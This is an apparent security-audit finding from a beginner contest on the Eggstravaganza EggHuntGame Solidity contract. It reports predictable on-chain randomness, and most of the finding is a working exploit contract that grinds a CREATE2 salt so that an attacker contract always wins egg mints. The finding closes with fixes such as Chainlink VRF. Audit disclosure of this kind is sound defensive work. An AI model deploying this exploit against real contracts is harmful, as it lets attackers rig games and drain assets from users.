Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable Randomness Exploitation in EggHunt Game

Summary

A cirtical vulnerablity in EggHuntGame.sol allows attackers to predict and manipulate the egg creation prcess by calculating random in advance.

Vulnerability Details

uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;

Attacker can calculate this random in advance and mintEgg with 100% success rate.
Here is attack detail.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "./EggHuntGame.sol";
import "forge-std/console.sol";
contract EggHuntExploit {
EggHuntGame public eggHuntGame;
address public owner;
bytes32 public salt;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
owner = msg.sender;
}
function exploit() external {
uint256 currentEggCounter = eggHuntGame.eggCounter();
uint256 threshold = eggHuntGame.eggFindThreshold();
bytes32 successSalt;
address predictedAddress;
bool found = false;
for (uint256 i = 0; i < 1000; i++) {
successSalt = keccak256(abi.encodePacked(i));
predictedAddress = calculateAttackerAddress(successSalt);
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, predictedAddress, currentEggCounter))
) % 100;
console.log("i", i);
console.log("predictedAddress", predictedAddress);
if (random < threshold) {
found = true;
salt = successSalt;
break;
}
}
require(found, "not found");
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
address attackerAddress;
assembly {
attackerAddress := create2(0, add(initCode, 0x20), mload(initCode), successSalt)
}
Attacker(attackerAddress).attack();
}
function calculateAttackerAddress(bytes32 _salt) public view returns (address) {
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(initCode)
)))));
}
}
contract Attacker {
EggHuntGame public eggHuntGame;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
}
function attack() external {
eggHuntGame.searchForEgg();
}
}

Impact

Attacker can mint nft with 100% success rate

Tools Used

foundry test

Recommendations

Request random values from chainlink vrf
reveal the randomness in the next block

Updates

Lead Judging Commences

m3dython Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!